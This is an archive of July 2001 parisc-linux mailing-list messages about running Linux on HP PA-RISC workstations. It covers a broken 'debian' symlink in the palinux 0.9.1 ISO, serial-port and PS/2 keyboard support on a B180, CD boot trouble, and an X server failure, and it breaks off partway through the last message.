--1022C34C.994284909/mail.linuxcare.com
Content-Description: Delivery error report
Content-Type: message/delivery-status

Reporting-MTA: dns; mail.linuxcare.com
Arrival-Date: Wed,  4 Jul 2001 15:15:09 -0700 (PDT)

Final-Recipient: rfc822; mort@linuxcare.com
Action: failed
Status: 5.0.0
Diagnostic-Code: X-Postfix; unknown user: "mort"

--1022C34C.994284909/mail.linuxcare.com
Content-Description: Undelivered Message
Content-Type: message/rfc822

Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by mail.linuxcare.com (Postfix) with SMTP id 1022C34C
	for <mort@linuxcare.com>; Wed,  4 Jul 2001 15:15:09 -0700 (PDT)
Received: (qmail 8766 invoked by uid 15267); 4 Jul 2001 22:15:01 -0000
Delivered-To: thepuffi-pariscdatabase@thepuffingroup.com
Received: (qmail 8741 invoked from network); 4 Jul 2001 22:15:00 -0000
Received: from viemta06.chello.at (195.34.133.56)
  by mailserv2.iuinc.com with SMTP; 4 Jul 2001 22:15:00 -0000
Received: from gmx.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010704221456.JAOU6087.viemta06@gmx.at>
          for <pariscdatabase@thepuffingroup.com>;
          Thu, 5 Jul 2001 00:14:56 +0200
Sender: chris@mailserv2.iuinc.com
Message-ID: <3B439555.9FBF7504@gmx.at>
Date: Thu, 05 Jul 2001 00:14:45 +0200
From: Christoph Plattner <christoph.plattner@gmx.at>
Organization: private
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: pariscdatabase@thepuffingroup.com
Subject: Double registered !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear Team !

Remove my double registration because of my Email 
change.

Remove

	christoph.plattner@dot.at

at the 720 and E55 machine.
My current address is

	christoph.plattner@gmx.at

which I already used here (so the 720 and E55 are
double registered !)

With friendly regards
	Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at

--1022C34C.994284909/mail.linuxcare.com--


--------------BEC157897CFF4BC6E8C14D5A--





From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unaligned memory accesses
Date: Wed, 4 Jul 2001 15:51:08 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20010704155108.H31475@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620262 21688 80.91.229.3 (22 Nov 2014 01:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:42 +0000 (UTC)
To: Torsten Neumann <torsten@imke.infodrom.ffis.de>,
	Peter Weilbacher <weilbach@uni-sw.gwdg.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 16:51:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDAF64834
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 16:51:51 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id qxdngaaa for parisc-linux@lists.parisc-linux.org; Wed, 4 Jul 2001 15:48:07 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15HvUC-0004JE-00; Wed, 04 Jul 2001 15:51:08 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11492

Torsten and Peter,

I've checked in some changes to parisc kernel cvs that should address 
the crashes you've seen. Please try picking up latest kernel files from 
cvs and let us know if they fix the errors you've seen.

thanks,
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to access the second serial port on a B180 with
 PALINUX
Date: Thu, 5 Jul 2001 08:02:50 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <OF8324628D.0EB37C45-ONC1256A80.00210FD4@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620262 21690 80.91.229.3 (22 Nov 2014 01:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thomas Bogendoerfer <tsbogend" <tsbogend%alpha.franken.de%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 00:13:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70C1E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 00:13:12 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d548e8baaec@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 5 Jul 2001 08:12:50 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/05/2001 08:08:25 AM
Xref: news.gmane.org gmane.linux.ports.parisc:11493

Thomas,

Sorry I have not enough knowledge to help you.

I will awating your result.

Thanks a lot,
     Joel



                                                                           =
                                      =20
                    Thomas                                                 =
                                      =20
                    Bogendoerfer             To:     Jo=EBl Soete/BRU/MASTE=
RCARD@MASTERCARD                        =20
                    <tsbogend@alpha.f        cc:     parisc-linux@lists.par=
isc-linux.org@SMTP@EUROPAY            =20
                    ranken.de>               Subject:     Re: [parisc-linux=
] Re: How to access the second serial =20
                                             port on a B180 with PALINUX   =
                                      =20
                    04-07-01 07:43 PM                                      =
                                      =20
                                                                           =
                                      =20
                                                                           =
                                      =20



On Wed, Jul 04, 2001 at 06:57:41PM +0200, Jo=EBl Soete wrote:
> Any idea about this keyboard problem?

I'm working on that problem, which I've noticed during the last weekend.
PS2 keyboard and mouse are working on my 712 but not on the B180.

Thomas.

--
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel
]





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to access the second serial port on a B180 with
 PALINUX
Date: Thu, 5 Jul 2001 08:11:05 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <OF3D27F1D3.35C57203-ONC1256A80.00214005@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620263 21691 80.91.229.3 (22 Nov 2014 01:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 00:18:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADE3A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 00:18:40 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d548e90acd8@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 5 Jul 2001 08:18:18 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/05/2001 08:13:54 AM
Xref: news.gmane.org gmane.linux.ports.parisc:11494

Richard,

I well find it but there is a problem with ps2 keyboard (on B180) with this
kernel.
Awaiting the patch I am instaling 0.9.1 with a serial console which will
help me for the second serial port.

Thanks a lot
     Joel



                                                                           =
                                  =20
                    Richard Hirst                                          =
                                  =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                        =20
                    care.com>            cc:     parisc-linux@lists.parisc-=
linux.org@SMTP@EUROPAY            =20
                                         Subject:     Re: [parisc-linux] Ho=
w to access the second serial port=20
                    04-07-01             on a B180 with PALINUX            =
                                  =20
                    11:57 PM                                               =
                                  =20
                                                                           =
                                  =20
                                                                           =
                                  =20



On Wed, Jul 04, 2001 at 08:59:39AM +0200, Jo=EBl Soete wrote:
> Hio,
>
> I just re-install my B180 with the last palinux-0.9 CD.
>
> With STI console gpm also works excepted that it do not highlight a
> double-click selection (but selection works)?
>
> I would also like to test the second serial port available on this model.
> Is any have tips or idea?

Support has recently been added to the kernel for the second serial
port.  Either grab a new kernel from puffin.external.hp.com, I think
Matt Taggart posted some recently, or build your own.

Richard





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem in palinux-0.9.1 image with directory "debian" !!
Date: Thu, 05 Jul 2001 09:07:30 +0200
Organization: AAA
Lines: 19
Approved: news@gmane.org
Message-ID: <3B441232.44A2B63B@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620263 21696 80.91.229.3 (22 Nov 2014 01:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 01:07:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 288ED482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 01:07:34 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id JAA05331
	for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Jul 2001 09:07:31 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11495

I have a problem with the iso image. I have loop back mounted
it on my linux box, and I wanted to tar (copy) it to a location
(NFSROOT) to try a media less installation via rboot/bootp.

But the copy was not possible, as the directory debian
contains recursively the contents of the whole CD !!

Is this correct !

With friendly regards
	Christoph P.


------------------------------------------------------------------
private:  christoph.plattner@gmx.at
company:  christoph.plattner@alcatel.at




From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem in palinux-0.9.1 image with directory "debian" !!
Date: Thu, 5 Jul 2001 08:30:32 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010705083032.J23509@linuxcare.com>
References: <3B441232.44A2B63B@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620263 21698 80.91.229.3 (22 Nov 2014 01:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 01:31:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C028482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 01:31:11 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 00683B00C; Thu,  5 Jul 2001 08:30:32 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B441232.44A2B63B@alcatel.at>; from christoph.plattner@alcatel.at on Thu, Jul 05, 2001 at 09:07:30AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11496

On Thu, Jul 05, 2001 at 09:07:30AM +0200, Christoph Plattner wrote:
> I have a problem with the iso image. I have loop back mounted
> it on my linux box, and I wanted to tar (copy) it to a location
> (NFSROOT) to try a media less installation via rboot/bootp.
> 
> But the copy was not possible, as the directory debian
> contains recursively the contents of the whole CD !!
> 
> Is this correct !

No, it isn't correct.  debian should be a symbolic link to '.'.
I guess at some problem with the mkisofs options.  I've notified
the guys that made it, and hopefully they will remaster without
that problem soon.  I also had problems trying a CD based install
for the same reason.  In your case, try just taring up the dist
directory, or telling tar to ignore debian.

There may be workarounds for CD based installs, but I havn't
fully investigated yet.

Richard





From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pengelly, Raymond" <RPengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems with burning iso's
Date: Thu, 5 Jul 2001 09:02:06 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <CC7EB40D4455D51191850090270C43801038B1@ati.ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620264 21701 80.91.229.3 (22 Nov 2014 01:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:44 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 07:02:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DB5D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 07:02:07 -0600 (MDT)
Original-Received: by ati.ati.stlawrencec.on.ca with Internet Mail Service (5.5.2653.19)
	id <L992VVZS>; Thu, 5 Jul 2001 09:02:06 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11497

Hello everyone

I'm trying to set up a lab of HP series 700 and 735 workstations with
PA-Linux. I've downloaded the sti-32 iso and burned it but when I try to
boot from the cd drive all i get is five lines of what looks like a memory
dump? Anybody had this problem or ca offer any suggestions? I am able to
mount the CD drive and access the files normally.

Also I was wondering what the md5checksums are all about? 
Do I have to change anything in the iso before I burn it?

Ray Pengelly
rpengelly@ati.stlawrencec.on.ca





From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem in palinux-0.9.1 image with directory "debian" !!
Date: Thu, 05 Jul 2001 15:10:55 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010705131056.EF90CD15A6@mail.esiee.fr>
References: <20010705083032.J23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620264 21705 80.91.229.3 (22 Nov 2014 01:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:44 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 07:11:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8482C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 07:11:04 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id EF90CD15A6; Thu,  5 Jul 2001 15:10:55 +0200 (CEST)
In-Reply-To: <20010705083032.J23509@linuxcare.com>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11498

Hi all,                                                               
                                                                      
	I just uploaded the correct 0.9.1 with the debian link working.      
Thanks for testing. As you see, this is important, since it is our    
first ISO ;-)                                                         
                                                                      
Thomas                                                                
ESIEE Team                                                            




From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with burning iso's
Date: Thu, 05 Jul 2001 15:14:06 +0200
Organization: AAA
Lines: 50
Approved: news@gmane.org
Message-ID: <3B44681E.21176E17@alcatel.at>
References: <CC7EB40D4455D51191850090270C43801038B1@ati.ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620264 21707 80.91.229.3 (22 Nov 2014 01:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:44 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Pengelly, Raymond" <RPengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 07:14:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B2F9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 07:14:19 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id PAA22081;
	Thu, 5 Jul 2001 15:14:07 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11499

As far as I understand your description, this is correct !
You see about file lines, describing, where the modules
(kernel, ramdisk image, etc) is loaded. And now you must be
patient. In former Linux Releases I had to wait up to half or
full minute to get up. The current kernel on the 0.9.1 is
faster and takes 5-10 seconds (depending on the machine ...)

Wait for a longer time...

By the way. You wrote "series 700". Is this a 9000/720 with
50Mhz or a 730 with 66Mhz (my 720 has the model number A1094).
For those "old" machine you might need a patch in the kernel
to handle an old method of page fault, etc.., handling.
A line must be added then in the `arch/parisc/kernel/trap.c'.
This is true for the old PA7000 CPUs.

If your are intersted I will give you more hints to this point.

With friendly regards
	Christoph P.


"Pengelly, Raymond" wrote:
> 
> Hello everyone
> 
> I'm trying to set up a lab of HP series 700 and 735 workstations with
> PA-Linux. I've downloaded the sti-32 iso and burned it but when I try to
> boot from the cd drive all i get is five lines of what looks like a memory
> dump? Anybody had this problem or ca offer any suggestions? I am able to
> mount the CD drive and access the files normally.
> 
> Also I was wondering what the md5checksums are all about?
> Do I have to change anything in the iso before I burn it?
> 
> Ray Pengelly
> rpengelly@ati.stlawrencec.on.ca
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


------------------------------------------------------------------
private:  christoph.plattner@gmx.at
company:  christoph.plattner@alcatel.at




From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Kress <jkress@unilog.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux
Date: Thu, 5 Jul 2001 15:34:39 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <41E365428D7DD21192B700104BB0EA3D01526E1C@nttue01.tue.integrata.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620265 21710 80.91.229.3 (22 Nov 2014 01:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:45 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 07:35:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vgate.integrata.de (mail.unilog.de [194.45.208.25])
	by dsl2.external.hp.com (Postfix) with SMTP id 0CE38482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 07:35:43 -0600 (MDT)
Original-Received: FROM nttue01.it.integrata.de BY vgate.integrata.de ; Thu Jul 05 15:37:16 2001 +0200
Original-Received: by nttue01.tue.integrata.de with Internet Mail Service (5.5.2650.21)
	id <LF3T98FL>; Thu, 5 Jul 2001 15:34:40 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11500

Hello,

I have a HP9000 / 712 Workstation.

Can You tell me a general working-step for installing palinux on my =
machine
( step 1,....., step 9, ......)?


i am in confusion about your install-steps on your Website !

then i have many problems to make a bootable CDROM for my Workstation!


best regards,
		Joachim Kress


------------------------------------------------------------------------=
----
----------------
Joachim Kress			Phone:	+49-7071-409-181
Unilog Integrata Training AG	Fax.	+49-7071-409-176
Schleifm=FChleweg, 68		D1:	+49-170-7942970
D-72070 / T=FCbingen		<mailto:jkress@unilog.de>
------------------------------------------------------------------------=
----
----------------
    =20





From - Thu Nov 08 21:18:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to access the second serial port on a B180 with
 PALINUX
Date: Thu, 5 Jul 2001 15:35:58 +0200
Lines: 200
Approved: news@gmane.org
Message-ID: <OFF94FEB89.7C57D76A-ONC1256A80.004A71F2@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ; Boundary="0__=C1256A80004A71F28f9e8a93df938690918cC1256A80004A71F2"
X-Trace: ger.gmane.org 1416620265 21712 80.91.229.3 (22 Nov 2014 01:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thomas Bogendoerfer <tsbogend" <tsbogend%alpha.franken.de%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 07:45:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E55E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 07:44:59 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54902946a7@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 5 Jul 2001 15:44:37 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/05/2001 03:40:11 PM
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:11501

--0__=C1256A80004A71F28f9e8a93df938690918cC1256A80004A71F2
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: quoted-printable



Hi Thomas,

I also try X on my 712. I first install following packages:
ii  xbase-clients  4.0.3-4        miscellaneous X clients
ii  xfonts-100dpi  4.0.3-4        100 dpi fonts for X
ii  xfonts-75dpi   4.0.3-4        75 dpi fonts for X
ii  xfonts-base    4.0.3-4        standard fonts for X
ii  xfonts-cyrilli 4.0.3-4        Cyrillic fonts for X
ii  xfonts-pex     4.0.3-4        fonts for minimal PEX support in X
ii  xfonts-scalabl 4.0.3-4        scalable fonts for X
ii  xfree86-common 4.0.3-4        X Window System (XFree86) infrastructure
ii  xlibmesa3      4.0.3-4        XFree86 version of Mesa 3D graphics
library
ii  xlibs          4.0.3-4        X Window System client libraries
ii  xserver-common 4.0.3-4        files and utilities common to all X
servers
ii  xserver-xfree8 4.0.3-4        the XFree86 X server
ii  xutils         4.0.3-4        XFree86 utility programs

Then I install your XF86config and launch startx which failed (see
XFree86.0.log)
Also I try XFree86 -configure which failed also (see XFree86-configure)

And always same error: (EE) No OS PCI support available

Is it the actual cause of the failure.
Have you some work-around?

Thanks in advance for additional help,
     Joel


(See attached file: XFree86.0.log)(See attached file: XFree86-configure)



                                                                           =
                                      =20
                    Thomas                                                 =
                                      =20
                    Bogendoerfer             To:     Jo=EBl Soete/BRU/MASTE=
RCARD@MASTERCARD                        =20
                    <tsbogend@alpha.f        cc:     parisc-linux@lists.par=
isc-linux.org@SMTP@EUROPAY            =20
                    ranken.de>               Subject:     Re: [parisc-linux=
] Re: How to access the second serial =20
                                             port on a B180 with PALINUX   =
                                      =20
                    04-07-01 07:43 PM                                      =
                                      =20
                                                                           =
                                      =20
                                                                           =
                                      =20



On Wed, Jul 04, 2001 at 06:57:41PM +0200, Jo=EBl Soete wrote:
> Any idea about this keyboard problem?

I'm working on that problem, which I've noticed during the last weekend.
PS2 keyboard and mouse are working on my 712 but not on the B180.

Thomas.

--
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel
